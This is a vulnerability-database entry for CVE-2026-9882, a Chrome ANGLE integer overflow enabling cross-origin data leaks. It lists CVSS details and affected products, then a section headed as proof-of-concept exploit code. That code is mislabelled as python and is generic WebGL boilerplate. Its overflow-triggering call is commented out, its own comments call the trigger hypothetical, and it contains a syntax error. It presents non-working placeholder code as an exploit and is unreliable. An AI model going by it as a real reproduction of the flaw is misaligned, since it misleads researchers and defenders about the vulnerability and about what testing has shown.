Security Vulnerability Report
中文
CVE-2026-9882 CVSS 6.5 MEDIUM

CVE-2026-9882

Published: 2026-05-28 23:16:46
Last Modified: 2026-05-29 18:44:48

Description

Integer overflow in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-9882 --> <!-- This HTML page demonstrates a potential trigger for the integer overflow in ANGLE --> <!DOCTYPE html> <html> <head> <title>CVE-2026-9882 PoC</title> </head> <body> <h1>CVE-2026-9882 PoC: ANGLE Integer Overflow</h1> <p>This page attempts to trigger the vulnerability via WebGL.</p> <canvas id="glCanvas"></canvas> <script> const canvas = document.getElementById('glCanvas'); // Attempt to get a WebGL context const gl = canvas.getContext('webgl'); if (!gl) { console.log("WebGL not supported"); return; } // Step 1: Create a shader that might cause heavy calculation or specific buffer access // Note: Actual exploit requires specific shader code to trigger integer overflow in ANGLE const vsSource = ` attribute vec4 aVertexPosition; void main() { gl_Position = aVertexPosition; } `; const fsSource = ` precision mediump float; void main() { gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0); } `; // Helper function to compile shaders function loadShader(gl, type, source) { const shader = gl.createShader(type); gl.shaderSource(shader, source); gl.compileShader(shader); if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) { console.error('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader)); gl.deleteShader(shader); return null; } return shader; } const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource); const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource); const shaderProgram = gl.createProgram(); gl.attachShader(shaderProgram, vertexShader); gl.attachShader(shaderProgram, fragmentShader); gl.linkProgram(shaderProgram); // Step 2: Attempt to allocate large buffers or manipulate uniform arrays to trigger overflow // This is a simulation of the condition leading to the overflow try { const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Hypothetical trigger: Large buffer size calculation causing overflow // In a real exploit, specific values would be used to wrap around the integer const largeSize = 0x7FFFFFFF; // gl.bufferData(gl.ARRAY_BUFFER, largeSize, gl.STATIC_DRAW); console.log("Buffer operations completed. Check memory for leaks."); } catch (e) { console.log("Exception caught: " + e); } </script> </body> </html>

References

Raw JSON Data

JSON
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